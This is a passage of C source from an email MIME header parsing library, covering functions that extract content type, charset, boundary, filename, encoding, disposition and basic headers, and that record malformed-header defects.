_CTYPE_MULTIPART_ALTERNATIVE; else if (strstr(q,"multipart/report")) hinfo->content_type = _CTYPE_MULTIPART_REPORT; else if (strstr(q,"multipart/")) hinfo->content_type = _CTYPE_MULTIPART; else if (strstr(q,"text/calendar")) hinfo->content_type = _CTYPE_TEXT_CALENDAR; else if (strstr(q,"text/plain")) hinfo->content_type = _CTYPE_TEXT_PLAIN; else if (strstr(q,"text/html")) hinfo->content_type = _CTYPE_TEXT_HTML; else if (strstr(q,"text/")) hinfo->content_type = _CTYPE_TEXT; else if (strstr(q,"image/gif")) hinfo->content_type = _CTYPE_IMAGE_GIF; else if (strstr(q,"image/jpeg")) hinfo->content_type = _CTYPE_IMAGE_JPEG; else if (strstr(q,"image/")) hinfo->content_type = _CTYPE_IMAGE; else if (strstr(q,"audio/")) hinfo->content_type = _CTYPE_AUDIO; else if (strstr(q,"message/rfc822")) hinfo->content_type = _CTYPE_RFC822; else if (strstr(q,"/octet-stream")) hinfo->content_type = _CTYPE_OCTECT; else if (strstr(q,"/ms-tnef")) hinfo->content_type = _CTYPE_TNEF; else if (strstr(q,"application/applefile")) { hinfo->content_type = _CTYPE_APPLICATION_APPLEFILE; if ( hinfo->filename[0] == '\0' ) { if (strlen(ho->appledouble_filename)>0) { snprintf(hinfo->filename, sizeof(hinfo->filename), "%s.applemeta", ho->appledouble_filename ); } else { snprintf(hinfo->filename, sizeof(hinfo->filename), "applefile"); } } } else hinfo->content_type = _CTYPE_UNKNOWN; /** Is there an x-mac-type|creator parameter? **/ if ((strstr(header_value,"x-mac-type="))&&(strstr(header_value,"x-mac-creator="))) { /** By setting this flag to 1, we are saying that if the ** filename contains a forward slash '/' char, then it's ** to be treated as a normal char, not a directory ** separator. However, as we cannot generate a filename ** with that char normally, we'll convert it to something ** else **/ DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Located x-mac attachment",FL); hinfo->x_mac = 1; FNFILTER_set_mac(hinfo->x_mac); } // Get charset name const char ch[] = "charset="; char *ch_begin = strstr(header_value, ch); if (ch_begin) { ch_begin += sizeof(ch) -1; char *ch_end = strpbrk(ch_begin, ";\n\r "); if (!ch_end) ch_end = ch_begin + strlen(ch_begin); ch_end -= 1; if (*ch_begin == '"' && *ch_end == '"') { ++ch_begin; --ch_end; } const size_t ch_len = ch_end - ch_begin +2; PLD_strncpy(hinfo->charset, ch_begin, ch_len > _MIMEH_STRLEN_MAX ? _MIMEH_STRLEN_MAX : ch_len); } // Copy the string to our content-type string storage field p = header_value; if (p != NULL) { char *c = p; // Step 1 - jump over any whitespace while ( *c == ' ' || *c == '\t') c++; // Step 2 - Copy the string PLD_strncpy( hinfo->content_type_string, c, _MIMEH_CONTENT_TYPE_MAX); // Step 3 - clean up the string c = hinfo->content_type_string; while (*c && *c != ' ' && *c != '\t' && *c != '\n' && *c != '\r' && *c != ';') c++; // Step 4 - Terminate the string *c = '\0'; } // If we have an additional parameter at the end of our content-type, then we // should search for a name="foobar" sequence. //p = strchr( hv, ';' ); p = strpbrk( hv, ";\t\n\r " ); if (p != NULL) { char *param = NULL; char *data_end_point = param; p++; param = strpbrk( p, ";\n\r\t " ); while ( param != NULL ) { /** ** ** The Process of decoding our line.... ** . While not end of the line... ** . Remove whitespace ** . test for 'name' ** . test for 'boundary' ** . Move to next char after parameter values ** ** Go to the next character after the 'token separator' character ** and then proceed to absorb any excess white space. ** Once we've stopped at a new, non-white character, we can begin ** to see if we've got a sensible parameter like name=, filename= ** or boundary= **/ param++; param = MIMEH_absorb_whitespace(param); /** ** If we get to the end of the line, just break out of the token ** parsing while loop **/ if (*param == '\0') break; /** ** Look for name or filename specifications in the headers ** Look for name or filename specifications in the headers ** Look for name or filename specifications in the headers **/ return_value = MIMEH_parse_header_parameter( hinfo, param, "name", hinfo->name, sizeof(hinfo->name), &data_end_point); /** Update param to point where data_end_point is ** this is so when we come around here again due ** to the while loop, we'll know where to pick up ** the search for more parameters **/ if (data_end_point > param) param = data_end_point; // If we finally had success, then copy the name into filename for hinfo if ( return_value == 0 ) { // Move the parameter search point up to where we stopped // processing the data in the MIMEH_parse_header_parameter() call DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Pushing new filename to stack '%s'",FL, hinfo->name); /** Step 1: Check to see if this filename already ** exists in the stack. We do this so that we don't ** duplicate entries and also to prevent false ** bad-header reports. **/ if (SS_cmp(&(hinfo->ss_names), hinfo->name, strlen(hinfo->name))==NULL) { DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Filtering '%s'",FL, hinfo->name); FNFILTER_filter(hinfo->name, _MIMEH_FILENAMELEN_MAX); DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Pushing '%s'",FL, hinfo->name); SS_push(&(hinfo->ss_names),hinfo->name,strlen(hinfo->name)); if (SS_count(&(hinfo->ss_names)) > 1) { MIMEH_set_defect(hinfo, MIMEH_DEFECT_MULTIPLE_NAMES); } if ( hinfo->filename[0] == '\0' ) { snprintf( hinfo->filename, sizeof(hinfo->filename), "%s", hinfo->name ); } } /* If the file name doesn't already exist in the stack */ } /* If a filename was located in the headers */ /** ** Look for the MIME Boundary specification in the headers ** Look for the MIME Boundary specification in the headers ** Look for the MIME Boundary specification in the headers **/ return_value = MIMEH_parse_header_parameter(hinfo, param, "boundary", hinfo->boundary, sizeof(hinfo->boundary), &data_end_point); DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Param<=>data_end gap = %d", FL,data_end_point -param); DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: param start pos = '%s'",FL, param); if (data_end_point > param) param = data_end_point; DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: param start pos = '%s'",FL, param); if ( return_value == 0 ) { // Move the parameter search point up to where we stopped // processing the data in the MIMEH_parse_header_parameter() call //hinfo->boundary_located = 1; hinfo->boundary_located++; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Pushed boundary to stack (%s)",FL, hinfo->boundary); BS_push(ho->bo, hinfo->boundary); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: Setting hinfo->boundary_located to %d",FL, hinfo->boundary_located ); if (hinfo->boundary_located > 1) { // Register the defect MIMEH_set_defect(hinfo, MIMEH_DEFECT_MULTIPLE_BOUNDARIES); //Reset the counter back to 1. hinfo->boundary_located=1; } } //param = PLD_strtok( &tx, NULL, ";\n\r" ); // * PLD:20040831-22H15: Added 'if (param != NULL)' prefix to debugging lines // * In response to bug #32, submitted by ICL ZA if (param != NULL) DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: param start pos = '%s'",FL, param); param = strpbrk( param, ";\n\r " ); if (param != NULL) DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: param start pos = '%s'",FL, param); } // While } } if (hv != NULL) free(hv); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttype:DEBUG: end.",FL); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_contentlocation Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_contentlocation( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { char *p, *q; // CONTENT LOCATION ------------------------------- // CONTENT LOCATION ------------------------------- // CONTENT LOCATION ------------------------------- PLD_strlower( header_name ); p = strstr(header_name,"content-location"); if (p) { /** 20041216-1108:PLD: Increase our sanity **/ hinfo->sanity++; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_parse_contentlocation:DEBUG: Content Location line found - '%s'\n", FL, header_value); p = q = header_value; while (q) { q = strpbrk(p, "\\/"); if (q != NULL) p = q+1; } if (p) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_parse_contentlocation:DEBUG: filename = %s\n", FL, p); snprintf(hinfo->name, sizeof(hinfo->name),"%s",p); snprintf(hinfo->filename, sizeof(hinfo->filename),"%s",p); FNFILTER_filter(hinfo->filename, _MIMEH_FILENAMELEN_MAX); SS_push(&(hinfo->ss_filenames), hinfo->filename, strlen(hinfo->filename)); } } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_contenttransferencoding Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_contenttransferencoding( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { char *p, *q; char c = '\n'; // CONTENT TRANSFER ENCODING --------------------- // CONTENT TRANSFER ENCODING --------------------- // CONTENT TRANSFER ENCODING --------------------- p = strstr(header_name,"content-transfer-encoding"); if (p) { /** 20041216-1107:PLD: Increase our sanity **/ hinfo->sanity++; q = strpbrk(header_value,"\n\r;"); if (q != NULL) { c = *q; *q = '\0'; } p = header_value; PLD_strlower( p ); if (strstr(p,"base64") || strstr(p, "base-64")) { hinfo->content_transfer_encoding = _CTRANS_ENCODING_B64; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttransferencoding: Encoding set to BASE64", FL); } else if (strstr(p,"7bit")) { hinfo->content_transfer_encoding = _CTRANS_ENCODING_7BIT; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttransferencoding: Encoding set to 7-BIT ", FL); } else if (strstr(p,"8bit")) { hinfo->content_transfer_encoding = _CTRANS_ENCODING_8BIT; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttransferencoding: Encoding set to 8-BIT", FL); } else if (strstr(p,"quoted-printable")) { hinfo->content_transfer_encoding = _CTRANS_ENCODING_QP; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttransferencoding: Encoding set to Quoted-Printable", FL); } else if (strstr(p,"binary")) { hinfo->content_transfer_encoding = _CTRANS_ENCODING_BINARY; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttransferencoding: Encoding set to Binary", FL); } else if ( (strstr(p,"uu")) ||(strstr(p,"x-u")) ||(strcmp(p,"u") == 0) ) { hinfo->content_transfer_encoding = _CTRANS_ENCODING_UUENCODE; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contenttransferencoding: Encoding set to UUENCODE", FL); } else hinfo->content_transfer_encoding = _CTRANS_ENCODING_RAW; // Copy the string to our content-transfer string storage field p = header_value; if (p != NULL) { char *cp = p; // Step 1 - jump over any whitespace while ( *cp == ' ' || *cp == '\t') cp++; // Step 2 - Copy the string PLD_strncpy( hinfo->content_transfer_encoding_string, cp, _MIMEH_CONTENT_TRANSFER_ENCODING_MAX); // Step 3 - clean up the string cp = hinfo->content_transfer_encoding_string; while (*cp && *cp != ' ' && *cp != '\t' && *cp != '\n' && *cp != '\r' && *cp != ';') cp++; // Step 4 - Terminate the string *cp = '\0'; } // Set the character which we changed to a \0 back to its original form so that // we don't cause problems from tainted data for any further parsing calls // which use the data. if (q != NULL) *q = c; } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_contentdisposition Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_contentdisposition( struct MIMEH_object *ho, char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { char *p; char *hv = strdup(header_value); // CONTENT DISPOSITION ------------------------------ // CONTENT DISPOSITION ------------------------------ // CONTENT DISPOSITION ------------------------------ //LOGGER_log("%s:%d:DEBUG: Headers='%s'",FL,header_value); p = strstr(header_name,"content-disposition"); if (p != NULL) { /** 20041216-1107:PLD: Increase our sanity **/ hinfo->sanity++; // Change p to now point to the header VALUE, p no longer // points to the content-disposition start! p = header_value; PLD_strlower( header_value ); // Here we just check to find out what type of disposition we have. if (strstr(p,"inline")) { hinfo->content_disposition = _CDISPOSITION_INLINE; } else if (strstr(p,"form-data")) { hinfo->content_disposition = _CDISPOSITION_FORMDATA; } else if (strstr(p,"attachment")) { hinfo->content_disposition = _CDISPOSITION_ATTACHMENT; } else { hinfo->content_disposition = _CDISPOSITION_UNKNOWN; } // Copy the string to our content-transfer string storage field if (p != NULL) { char *q = p; // Step 1 - jump over any whitespace while ( *q == ' ' || *q == '\t') q++; // Step 2 - Copy the string PLD_strncpy( hinfo->content_disposition_string, q, _MIMEH_CONTENT_DISPOSITION_MAX); // Step 3 - clean up the string q = hinfo->content_disposition_string; while (*q && *q != ' ' && *q != '\t' && *q != '\n' && *q != '\r' && *q != ';') q++; // Step 4 - Terminate the string *q = '\0'; } DMIMEH LOGGER_log("%s:%d:MIMEH_parse_contentdisposition:DEBUG: Disposition string = '%s'",FL, hv); // Commence to decode the disposition string into its components. p = strpbrk( hv, ";\t\n\r " ); if (p != NULL) { // struct PLD_strtok tx; char *param; hinfo->name[0]='\0'; p++; param = p; while ( param != NULL ) { int parse_result; char *data_end_point; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contentdisposition:DEBUG: Parsing '%s'",FL,param); // Seek out possible 'filename' parameters parse_result = MIMEH_parse_header_parameter(hinfo, param, "filename", hinfo->name, sizeof(hinfo->name), &data_end_point); if (data_end_point > param) param = data_end_point; if (parse_result == 0) { FNFILTER_filter(hinfo->name, _MIMEH_FILENAMELEN_MAX); SS_push(&(hinfo->ss_filenames), hinfo->name, strlen(hinfo->name)); if (SS_count(&(hinfo->ss_filenames)) > 1) { MIMEH_set_defect(hinfo,MIMEH_DEFECT_MULTIPLE_FILENAMES); } } param = strpbrk( param , ";\n\r\t " ); if (param) param++; //param = PLD_strtok( &tx, NULL, ";\n\r\t " ); } // While if ( hinfo->filename[0] == '\0' ) { snprintf( hinfo->filename, sizeof(hinfo->filename), "%s", hinfo->name ); } // Handle situations where we'll need the filename for the future. if ( hinfo->content_type == _CTYPE_MULTIPART_APPLEDOUBLE ) { snprintf( ho->appledouble_filename, sizeof(ho->appledouble_filename), "%s", hinfo->filename ); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_contentdisposition:DEBUG: Setting appledouble filename to: '%s'",FL,ho->appledouble_filename); } } // If the header-value contained ;'s ( indicating parameters ) } // If the header-name actually contained 'content-disposition' if (hv != NULL) free(hv); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_subject Returns Type : int ----Parameter List 1. char *header_name, contains the full headers 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_generic( char *header_name, char *header_value, struct MIMEH_header_info *hinfo, char *tokenstr, char *buffer, size_t bsize ) { int compare_result = 0; int tlen; DMIMEH LOGGER_log("%s:%d:MIMEH_parse_generic:DEBUG: Searching for %s in %s",FL,tokenstr,header_name); /** Sanity check the parameters **/ if (hinfo == NULL) return -1; if (tokenstr == NULL) return -1; if (header_name == NULL) return -1; if (header_value == NULL) return -1; if (buffer == NULL) return -1; if (bsize < 1) return -1; tlen = strlen(tokenstr); compare_result = strncmp( header_name, tokenstr, tlen ); if (compare_result == 0) { switch (*(header_name +tlen)) { case ':': case ' ': case '\t': case '\0': DMIMEH LOGGER_log("%s:%d:MIMEH_parse_generic:DEBUG: Located! Sanity up +1",FL); snprintf( buffer, bsize, "%s", header_value ); hinfo->sanity++; break; } } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_subject Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_subject( struct MIMEH_object *ho, char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { int result = 0; result = MIMEH_parse_generic( header_name, header_value, hinfo, "subject", hinfo->subject, sizeof(hinfo->subject) ); snprintf(ho->subject, sizeof(ho->subject),"%s", hinfo->subject); return result; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_date Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_date( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { return MIMEH_parse_generic( header_name, header_value, hinfo, "date", hinfo->date, sizeof(hinfo->date) ); } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_from Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_from( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { return MIMEH_parse_generic( header_name, header_value, hinfo, "from", hinfo->from, sizeof(hinfo->from) ); } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_to Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_to( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { return MIMEH_parse_generic( header_name, header_value, hinfo, "to", hinfo->to, sizeof(hinfo->to) ); } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_messageid Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_messageid( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { return MIMEH_parse_generic( header_name, header_value, hinfo, "message-id", hinfo->messageid, sizeof(hinfo->messageid) ); } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_received Returns Type : int ----Parameter List 1. char *header_name, 2. char *header_value, 3. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_received( char *header_name, char *header_value, struct MIMEH_header_info *hinfo ) { return MIMEH_parse_generic( header_name, header_value, hinfo, "received", hinfo->received, sizeof(hinfo->received) ); } /*-----------------------------------------------------------------\ Function Name : MIMEH_process_headers Returns Type : int ----Parameter List 1. struct MIMEH_header_info *hinfo, 2. char *headers , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_headers_process( struct MIMEH_object *ho, struct MIMEH_header_info *hinfo, char *headers ) { /** scan through our headers string looking for information that is ** valid **/ // char *safeh, *h, *safehl; char *h, *safehl; char *current_header_position; int headerlength; if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Start [hinfo=%p]\n",FL, hinfo); //safeh = h = headers; h = headers; /** Duplicate the headers for processing - this way we don't 'taint' the ** original headers during our searching / altering. **/ headerlength = strlen(h); safehl = malloc(sizeof(char) *(headerlength+1)); PLD_strncpy(safehl, h, headerlength+1); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_parse_headers:DEBUG: Header length = %d\n", FL,headerlength); MIMEH_strip_comments(h); current_header_position = h; // Searching through the headers, we seek out header 'name:value;value;value' sets, // Each set is then cleaned up, seperated and parsed. while ((current_header_position != NULL)&&( current_header_position <= (h +headerlength) )) { char *header_name, *header_value; char *header_name_end_position; char *header_value_end_position; DMIMEH LOGGER_log("%s:%d:MIMEH_headers_process:DEBUG: Processing '%s'",FL,current_header_position); /** Tokenise for the header 'name', ie, content-type, subject etc **/ header_name = current_header_position; header_name_end_position = strpbrk( header_name, ":\t " ); if (header_name_end_position == NULL) { // We couldn't find a terminating :, so, instead we try to find // the first whitespace // // PLD:DEV:11/08/2004-15H27 // Issue: c030804-006a // // NOTE: this may activate on the true-blank lines, hence why we // dump the source string, just for confirmation DMIMEH LOGGER_log("%s:%d:MIMEH_headers_process:DEBUG: Could not locate ':' separator, using whitespace (source='%s')",FL,header_name); header_name_end_position = strpbrk( header_name, "\t " ); if (header_name_end_position == NULL) { DMIMEH LOGGER_log("%s:%d:MIMEH_headers_process:DEBUG: Cannot find a header name:value pair in '%s'",FL, header_name); } } // Seek forward from the start of our header, looking for the first occurance // of the line end (implying the end of the current header name:value, // we can do this because we know that when the headers were read in, we // have already unfolded them, such that there should only be one header:value // pairing per 'line'. current_header_position = strpbrk( current_header_position, "\n\r"); if ( current_header_position == NULL ) { // Theoretically, this should not happen, as headers are always // terminated with a \n\r\n\r finishing byte sequence, thus // if this _does_ happen, then we will simply jump out of the // current iteration and let the loop try find another pairing // // There probably should be a logging entry here to indicate that // "something strange happened" continue; } else { // Shuffle our CHP (current-header-position) pointer along the header // data until it is no longer pointing to a \r or \n, this is so // that when the next iteration of this loop comes around, it'll // immediately be in the right place for starting the next parse while (( *current_header_position == '\n') ||( *current_header_position == '\r' )) current_header_position++; } if (( header_name_end_position == NULL )||( header_name_end_position > current_header_position)) { // Some headers can contain various levels of non name/value pairings, // while their presence could be debatable in terms of RFC validity // we will 'ignore' them rather than throwing up our arms. This // ensures that we are not made to break over spurilous data. if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: This line contains no header:value pair (%s)", FL, current_header_position); continue; } else { // Get the header-value string and prepare to // parse the data through our various parsing // functions. header_value = header_name_end_position +1; header_value_end_position = strpbrk( header_value, "\n\r" ); if ( header_value_end_position != NULL ) { *header_name_end_position = '\0'; *header_value_end_position = '\0'; if (MIMEH_DNORMAL) { LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Header Name ='%s'", FL, header_name ); LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Header Value='%s'", FL, header_value ); } // To make parsing simpler, convert our // header name to lowercase, that way // we also reduce the CPU requirements for // searching because pre-lowering the header-name // occurs once, but string testing against it // occurs multiple times ( at least once per parsing PLD_strlower( header_name ); MIMEH_parse_subject( ho, header_name, header_value, hinfo ); MIMEH_parse_contenttype( ho, header_name, header_value, hinfo ); MIMEH_parse_contenttransferencoding( header_name, header_value, hinfo ); MIMEH_parse_contentdisposition( ho, header_name, header_value, hinfo ); /** These items aren't really -imperative- to have, but they do ** help with the sanity checking **/ MIMEH_parse_date( header_name, header_value, hinfo ); MIMEH_parse_from( header_name, header_value, hinfo ); MIMEH_parse_to( header_name, header_value, hinfo ); MIMEH_parse_messageid( header_name, header_value, hinfo ); MIMEH_parse_received( header_name, header_value, hinfo ); if (hinfo->filename[0] == '\0') { MIMEH_parse_contentlocation( header_name, header_value, hinfo ); } } else { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_headerss:DEBUG: Header value end position is NULL",FL); } } } // while // Final analysis on our headers: if ( hinfo->content_type == _CTYPE_MULTIPART_APPLEDOUBLE ) { char tmp[128]; snprintf( tmp, sizeof(tmp), "mac-%s", hinfo->filename ); snprintf( hinfo->filename, sizeof(hinfo->filename), "%s", tmp ); snprintf( hinfo->name, sizeof(hinfo->name), "%s", tmp ); } // PLD:20031205 // Act like Outlook *God forbid!* and if there's a octect-stream // content-type, but the encoding is still null/empty, then // change the content-encoding to be RAW if ( hinfo->content_type == _CTYPE_OCTECT ) { if ((hinfo->content_transfer_encoding == _CTRANS_ENCODING_UNSPECIFIED) || (hinfo->content_transfer_encoding == _CTRANS_ENCODING_UNKNOWN) || (strlen(hinfo->content_transfer_encoding_string) < 1) ) { //LOGGER_log("%s:%d:DEBUG: Encoding pair was octet but no encoding, filename=%s\n",FL,hinfo->filename); hinfo->content_transfer_encoding = _CTRANS_ENCODING_RAW; } } if (safehl) { free(safehl); } else LOGGER_log("%s:%d:MIME_parse_headers:WARNING: Unable to free HEADERS allocated memory\n", FL); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: END [hinfo=%p]\n", FL, hinfo); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_headers Returns Type : int ----Parameter List 1. struct MIMEH_header_info *hinfo, 2. FFGET_FILE *f , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_headers_get( struct MIMEH_object *ho, struct MIMEH_header_info *hinfo, FFGET_FILE *f ) { int result = 0; // Setup some basic defaults hinfo->filename[0] = '\0'; hinfo->name[0] = '\0'; hinfo->content_type = _CTYPE_UNKNOWN; hinfo->subject[0] = '\0'; hinfo->charset[0] = '\0'; // 20040116-1234:PLD - added to appease valgrind hinfo->content_disposition = 0; hinfo->content_transfer_encoding = 0; hinfo->boundary_located = 0; // Initialise header defects array. hinfo->header_defect_count = 0; memset(hinfo->defects, 0, _MIMEH_DEFECT_ARRAY_SIZE); snprintf( hinfo->content_type_string, _MIMEH_CONTENT_TYPE_MAX , "text/plain" ); // Read from the file, the headers we need FFGET_set_watch_SDL(1); result = MIMEH_read_headers(ho, f); FFGET_set_watch_SDL(0); // If we ran out of input whilst looking at headers, then, we basically // flag this, free up the headers, and return. if (result == -1) { if (ho->headerline) free(ho->headerline); return result; } // If we came back with an OKAY result, but there's nothing in the // headers, then flag off an error if (ho->headerline == NULL) { if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIME_parse_headers:DEBUG: null headerline\n", FL); return 1; } return result; } /*-----------------------------------------------------------------\ Function Name : MIMEH_headers_cleanup Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_headers_cleanup( struct MIMEH_object *ho ) { if (ho->headerline != NULL) { free(ho->headerline); ho->headerline = NULL; } if (ho->headerline_original != NULL) { free(ho->headerline_original); ho->headerline_original = NULL; } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_parse_headers Returns Type : int ----Parameter List 1. FFGET_FILE *f, 2. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_parse_headers( struct MIMEH_object *ho, FFGET_FILE *f, struct MIMEH_header_info *hinfo ) { int result = 0; DMIMEH LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Start [F=%p, hinfo=%p]\n", FL, f, hinfo); /** 20041216-1100:PLD: Set the header sanity to zero **/ if ( result == 0 ) hinfo->sanity = 0; /** Proceed to read, process and finish headers **/ DMIMEH LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Getting headers",FL); if ( result == 0 ) result = MIMEH_headers_get( ho, hinfo, f ); DMIMEH LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Processing headers",FL); if ( result == 0 ) result = MIMEH_headers_process( ho, hinfo, ho->headerline ); DMIMEH LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: Cleanup of headers",FL); if ( result == 0 ) result = MIMEH_headers_cleanup(ho); if (MIMEH_DNORMAL) LOGGER_log("%s:%d:MIMEH_parse_headers:DEBUG: END [F=%p, hinfo=%p, sanity=%d]\n", FL, f, hinfo, hinfo->sanity); return result; } /*-----------------------------------------------------------------\ Function Name : MIMEH_dump_defects Returns Type : int ----Parameter List 1. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: Displays a list of the located defects -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_dump_defects( struct MIMEH_header_info *hinfo ) { int i; MIMEH_defect_description_array[MIMEH_DEFECT_MISSING_SEPARATORS] = strdup("Missing separators"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_FIELD_OCCURANCE] = strdup("Multiple field occurance"); MIMEH_defect_description_array[MIMEH_DEFECT_UNBALANCED_BOUNDARY_QUOTE] = strdup("Unbalanced boundary quote"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_BOUNDARIES] = strdup("Multiple boundries"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_COLON_SEPARATORS] = strdup("Multiple colon separators"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_EQUALS_SEPARATORS] = strdup("Multiple equals separators"); MIMEH_defect_description_array[MIMEH_DEFECT_UNBALANCED_QUOTES] = strdup("Unbalanced quotes"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_QUOTES] = strdup("Multiple quotes"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_NAMES] = strdup("Multiple names"); MIMEH_defect_description_array[MIMEH_DEFECT_MULTIPLE_FILENAMES] = strdup("Multiple filenames"); for (i = 0; i < _MIMEH_DEFECT_ARRAY_SIZE; i++) { if (hinfo->defects[i] > 0) { LOGGER_log("Header Defect: %s: %d",MIMEH_defect_description_array[i],hinfo->defects[i]); } } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_defect_count Returns Type : int ----Parameter List 1. struct MIMEH_header_info *hinfo , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- 